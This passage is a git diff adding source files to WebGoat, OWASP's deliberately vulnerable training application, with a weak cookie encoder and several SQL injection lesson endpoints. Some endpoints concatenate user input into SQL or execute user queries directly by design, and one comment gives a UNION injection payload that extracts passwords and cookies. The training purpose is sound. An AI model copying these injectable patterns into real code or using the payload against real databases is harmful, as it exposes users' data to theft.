USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.spoofcookie.encoders; + +import java.nio.charset.StandardCharsets; +import java.util.Base64; +import org.apache.commons.lang3.RandomStringUtils; +import org.springframework.security.crypto.codec.Hex; + +/*** + * + * @author Angel Olle Blazquez + * + */ + +public class EncDec { + + // PoC: weak encoding method + + private static final String SALT = RandomStringUtils.randomAlphabetic(10); + + private EncDec() {} + + public static String encode(final String value) { + if (value == null) { + return null; + } + + String encoded = value.toLowerCase() + SALT; + encoded = revert(encoded); + encoded = hexEncode(encoded); + return base64Encode(encoded); + } + + public static String decode(final String encodedValue) throws IllegalArgumentException { + if (encodedValue == null) { + return null; + } + + String decoded = base64Decode(encodedValue); + decoded = hexDecode(decoded); + decoded = revert(decoded); + return decoded.substring(0, decoded.length() - SALT.length()); + } + + private static String revert(final String value) { + return new StringBuilder(value).reverse().toString(); + } + + private static String hexEncode(final String value) { + char[] encoded = Hex.encode(value.getBytes(StandardCharsets.UTF_8)); + return new String(encoded); + } + + private static String hexDecode(final String value) { + byte[] decoded = Hex.decode(value); + return new String(decoded); + } + + private static String base64Encode(final String value) { + return Base64.getEncoder().encodeToString(value.getBytes()); + } + + private static String base64Decode(final String value) { + byte[] decoded = Base64.getDecoder().decode(value.getBytes()); + return new String(decoded); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionAdvanced.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionAdvanced.java new file mode 100644 index 000000000..aa2492703 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionAdvanced.java @@ -0,0 +1,40 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.advanced; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +@Component +public class SqlInjectionAdvanced extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A3; + } + + @Override + public String getTitle() { + return "2.sql.advanced.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionChallenge.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionChallenge.java new file mode 100644 index 000000000..95f86ca02 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionChallenge.java @@ -0,0 +1,104 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.advanced; + +import java.sql.*; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.util.StringUtils; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 4/8/17. + */ +@RestController +@AssignmentHints( + value = {"SqlInjectionChallenge1", "SqlInjectionChallenge2", "SqlInjectionChallenge3"}) +@Slf4j +public class SqlInjectionChallenge extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionChallenge(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PutMapping("/SqlInjectionAdvanced/challenge") + // assignment path is bounded to class so we use different http method :-) + @ResponseBody + public AttackResult registerNewUser( + @RequestParam String username_reg, + @RequestParam String email_reg, + @RequestParam String password_reg) + throws Exception { + AttackResult attackResult = checkArguments(username_reg, email_reg, password_reg); + + if (attackResult == null) { + + try (Connection connection = dataSource.getConnection()) { + String checkUserQuery = + "select userid from sql_challenge_users where userid = '" + username_reg + "'"; + Statement statement = connection.createStatement(); + ResultSet resultSet = statement.executeQuery(checkUserQuery); + + if (resultSet.next()) { + if (username_reg.contains("tom'")) { + attackResult = success(this).feedback("user.exists").build(); + } else { + attackResult = failed(this).feedback("user.exists").feedbackArgs(username_reg).build(); + } + } else { + PreparedStatement preparedStatement = + connection.prepareStatement("INSERT INTO sql_challenge_users VALUES (?, ?, ?)"); + preparedStatement.setString(1, username_reg); + preparedStatement.setString(2, email_reg); + preparedStatement.setString(3, password_reg); + preparedStatement.execute(); + attackResult = success(this).feedback("user.created").feedbackArgs(username_reg).build(); + } + } catch (SQLException e) { + attackResult = failed(this).output("Something went wrong").build(); + } + } + return attackResult; + } + + private AttackResult checkArguments(String username_reg, String email_reg, String password_reg) { + if (StringUtils.isEmpty(username_reg) + || StringUtils.isEmpty(email_reg) + || StringUtils.isEmpty(password_reg)) { + return failed(this).feedback("input.invalid").build(); + } + if (username_reg.length() > 250 || email_reg.length() > 30 || password_reg.length() > 30) { + return failed(this).feedback("input.invalid").build(); + } + return null; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionChallengeLogin.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionChallengeLogin.java new file mode 100644 index 000000000..bdfcc88f2 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionChallengeLogin.java @@ -0,0 +1,71 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.advanced; + +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlInjectionChallengeHint1", + "SqlInjectionChallengeHint2", + "SqlInjectionChallengeHint3", + "SqlInjectionChallengeHint4" + }) +public class SqlInjectionChallengeLogin extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionChallengeLogin(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjectionAdvanced/challenge_Login") + @ResponseBody + public AttackResult login( + @RequestParam String username_login, @RequestParam String password_login) throws Exception { + try (var connection = dataSource.getConnection()) { + var statement = + connection.prepareStatement( + "select password from sql_challenge_users where userid = ? and password = ?"); + statement.setString(1, username_login); + statement.setString(2, password_login); + var resultSet = statement.executeQuery(); + + if (resultSet.next()) { + return ("tom".equals(username_login)) + ? success(this).build() + : failed(this).feedback("ResultsButNotTom").build(); + } else { + return failed(this).feedback("NoResultsMatched").build(); + } + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionLesson6a.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionLesson6a.java new file mode 100644 index 000000000..313c73910 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionLesson6a.java @@ -0,0 +1,116 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.advanced; + +import java.sql.*; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.sqlinjection.introduction.SqlInjectionLesson5a; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlStringInjectionHint-advanced-6a-1", + "SqlStringInjectionHint-advanced-6a-2", + "SqlStringInjectionHint-advanced-6a-3", + "SqlStringInjectionHint-advanced-6a-4", + "SqlStringInjectionHint-advanced-6a-5" + }) +public class SqlInjectionLesson6a extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + private static final String YOUR_QUERY_WAS = "
Your query was: "; + + public SqlInjectionLesson6a(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjectionAdvanced/attack6a") + @ResponseBody + public AttackResult completed(@RequestParam(value = "userid_6a") String userId) { + return injectableQuery(userId); + // The answer: Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from + // user_system_data -- + } + + public AttackResult injectableQuery(String accountName) { + String query = ""; + try (Connection connection = dataSource.getConnection()) { + boolean usedUnion = true; + query = "SELECT * FROM user_data WHERE last_name = '" + accountName + "'"; + // Check if Union is used + if (!accountName.matches("(?i)(^[^-/*;)]*)(\\s*)UNION(.*$)")) { + usedUnion = false; + } + try (Statement statement = + connection.createStatement( + ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY)) { + ResultSet results = statement.executeQuery(query); + + if ((results != null) && results.first()) { + ResultSetMetaData resultsMetaData = results.getMetaData(); + StringBuilder output = new StringBuilder(); + + output.append(SqlInjectionLesson5a.writeTable(results, resultsMetaData)); + + String appendingWhenSucceded; + if (usedUnion) + appendingWhenSucceded = + "Well done! Can you also figure out a solution, by appending a new SQL Statement?"; + else + appendingWhenSucceded = + "Well done! Can you also figure out a solution, by using a UNION?"; + results.last(); + + if (output.toString().contains("dave") && output.toString().contains("passW0rD")) { + output.append(appendingWhenSucceded); + return success(this) + .feedback("sql-injection.advanced.6a.success") + .feedbackArgs(output.toString()) + .output(" Your query was: " + query) + .build(); + } else { + return failed(this).output(output.toString() + YOUR_QUERY_WAS + query).build(); + } + } else { + return failed(this) + .feedback("sql-injection.advanced.6a.no.results") + .output(YOUR_QUERY_WAS + query) + .build(); + } + } catch (SQLException sqle) { + return failed(this).output(sqle.getMessage() + YOUR_QUERY_WAS + query).build(); + } + } catch (Exception e) { + return failed(this) + .output(this.getClass().getName() + " : " + e.getMessage() + YOUR_QUERY_WAS + query) + .build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionLesson6b.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionLesson6b.java new file mode 100644 index 000000000..5cf42437f --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionLesson6b.java @@ -0,0 +1,80 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.advanced; + +import java.io.IOException; +import java.sql.Connection; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class SqlInjectionLesson6b extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionLesson6b(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjectionAdvanced/attack6b") + @ResponseBody + public AttackResult completed(@RequestParam String userid_6b) throws IOException { + if (userid_6b.equals(getPassword())) { + return success(this).build(); + } else { + return failed(this).build(); + } + } + + protected String getPassword() { + String password = "dave"; + try (Connection connection = dataSource.getConnection()) { + String query = "SELECT password FROM user_system_data WHERE user_name = 'dave'"; + try { + Statement statement = + connection.createStatement( + ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + ResultSet results = statement.executeQuery(query); + + if (results != null && results.first()) { + password = results.getString("password"); + } + } catch (SQLException sqle) { + sqle.printStackTrace(); + // do nothing + } + } catch (Exception e) { + e.printStackTrace(); + // do nothing + } + return (password); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionQuiz.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionQuiz.java new file mode 100644 index 000000000..e7c03139a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionQuiz.java @@ -0,0 +1,87 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.advanced; + +import java.io.IOException; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * add a question: 1. Append new question to JSON string 2. add right solution to solutions array 3. + * add Request param with name of question to method head For a more detailed description how to + * implement the quiz go to the quiz.js file in webgoat-container -> js + */ +@RestController +public class SqlInjectionQuiz extends AssignmentEndpoint { + + String[] solutions = {"Solution 4", "Solution 3", "Solution 2", "Solution 3", "Solution 4"}; + boolean[] guesses = new boolean[solutions.length]; + + @PostMapping("/SqlInjectionAdvanced/quiz") + @ResponseBody + public AttackResult completed( + @RequestParam String[] question_0_solution, + @RequestParam String[] question_1_solution, + @RequestParam String[] question_2_solution, + @RequestParam String[] question_3_solution, + @RequestParam String[] question_4_solution) + throws IOException { + int correctAnswers = 0; + + String[] givenAnswers = { + question_0_solution[0], + question_1_solution[0], + question_2_solution[0], + question_3_solution[0], + question_4_solution[0] + }; + + for (int i = 0; i < solutions.length; i++) { + if (givenAnswers[i].contains(solutions[i])) { + // answer correct + correctAnswers++; + guesses[i] = true; + } else { + // answer incorrect + guesses[i] = false; + } + } + + if (correctAnswers == solutions.length) { + return success(this).build(); + } else { + return failed(this).build(); + } + } + + @GetMapping("/SqlInjectionAdvanced/quiz") + @ResponseBody + public boolean[] getResults() { + return this.guesses; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjection.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjection.java new file mode 100644 index 000000000..a8f68f0f6 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjection.java @@ -0,0 +1,40 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.introduction; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +@Component +public class SqlInjection extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A3; + } + + @Override + public String getTitle() { + return "1.sql.injection.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson10.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson10.java new file mode 100644 index 000000000..55f802116 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson10.java @@ -0,0 +1,128 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.introduction; + +import java.sql.Connection; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlStringInjectionHint.10.1", + "SqlStringInjectionHint.10.2", + "SqlStringInjectionHint.10.3", + "SqlStringInjectionHint.10.4", + "SqlStringInjectionHint.10.5", + "SqlStringInjectionHint.10.6" + }) +public class SqlInjectionLesson10 extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionLesson10(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjection/attack10") + @ResponseBody + public AttackResult completed(@RequestParam String action_string) { + return injectableQueryAvailability(action_string); + } + + protected AttackResult injectableQueryAvailability(String action) { + StringBuilder output = new StringBuilder(); + String query = "SELECT * FROM access_log WHERE action LIKE '%" + action + "%'"; + + try (Connection connection = dataSource.getConnection()) { + try { + Statement statement = + connection.createStatement( + ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + ResultSet results = statement.executeQuery(query); + + if (results.getStatement() != null) { + results.first(); + output.append(SqlInjectionLesson8.generateTable(results)); + return failed(this) + .feedback("sql-injection.10.entries") + .output(output.toString()) + .build(); + } else { + if (tableExists(connection)) { + return failed(this) + .feedback("sql-injection.10.entries") + .output(output.toString()) + .build(); + } else { + return success(this).feedback("sql-injection.10.success").build(); + } + } + } catch (SQLException e) { + if (tableExists(connection)) { + return failed(this) + .output( + "
" + + output.toString()) + .build(); + } else { + return success(this).feedback("sql-injection.10.success").build(); + } + } + + } catch (Exception e) { + return failed(this) + .output("") + .build(); + } + } + + private boolean tableExists(Connection connection) { + try { + Statement stmt = + connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + ResultSet results = stmt.executeQuery("SELECT * FROM access_log"); + int cols = results.getMetaData().getColumnCount(); + return (cols > 0); + } catch (SQLException e) { + String errorMsg = e.getMessage(); + if (errorMsg.contains("object not found: ACCESS_LOG")) { + return false; + } else { + System.err.println(e.getMessage()); + return false; + } + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson2.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson2.java new file mode 100644 index 000000000..5540f31a4 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson2.java @@ -0,0 +1,81 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.introduction; + +import static java.sql.ResultSet.CONCUR_READ_ONLY; +import static java.sql.ResultSet.TYPE_SCROLL_INSENSITIVE; + +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlStringInjectionHint2-1", + "SqlStringInjectionHint2-2", + "SqlStringInjectionHint2-3", + "SqlStringInjectionHint2-4" + }) +public class SqlInjectionLesson2 extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionLesson2(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjection/attack2") + @ResponseBody + public AttackResult completed(@RequestParam String query) { + return injectableQuery(query); + } + + protected AttackResult injectableQuery(String query) { + try (var connection = dataSource.getConnection()) { + Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY); + ResultSet results = statement.executeQuery(query); + StringBuilder output = new StringBuilder(); + + results.first(); + + if (results.getString("department").equals("Marketing")) { + output.append(""); + output.append(SqlInjectionLesson8.generateTable(results)); + return success(this).feedback("sql-injection.2.success").output(output.toString()).build(); + } else { + return failed(this).feedback("sql-injection.2.failed").output(output.toString()).build(); + } + } catch (SQLException sqle) { + return failed(this).feedback("sql-injection.2.failed").output(sqle.getMessage()).build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson3.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson3.java new file mode 100644 index 000000000..f34c9302d --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson3.java @@ -0,0 +1,84 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.introduction; + +import static java.sql.ResultSet.CONCUR_READ_ONLY; +import static java.sql.ResultSet.TYPE_SCROLL_INSENSITIVE; + +import java.sql.Connection; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints(value = {"SqlStringInjectionHint3-1", "SqlStringInjectionHint3-2"}) +public class SqlInjectionLesson3 extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionLesson3(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjection/attack3") + @ResponseBody + public AttackResult completed(@RequestParam String query) { + return injectableQuery(query); + } + + protected AttackResult injectableQuery(String query) { + try (Connection connection = dataSource.getConnection()) { + try (Statement statement = + connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) { + Statement checkStatement = + connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY); + statement.executeUpdate(query); + ResultSet results = + checkStatement.executeQuery("SELECT * FROM employees WHERE last_name='Barnett';"); + StringBuilder output = new StringBuilder(); + // user completes lesson if the department of Tobi Barnett now is 'Sales' + results.first(); + if (results.getString("department").equals("Sales")) { + output.append(""); + output.append(SqlInjectionLesson8.generateTable(results)); + return success(this).output(output.toString()).build(); + } else { + return failed(this).output(output.toString()).build(); + } + + } catch (SQLException sqle) { + return failed(this).output(sqle.getMessage()).build(); + } + } catch (Exception e) { + return failed(this).output(this.getClass().getName() + " : " + e.getMessage()).build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson4.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson4.java new file mode 100644 index 000000000..2299becc4 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson4.java @@ -0,0 +1,80 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For 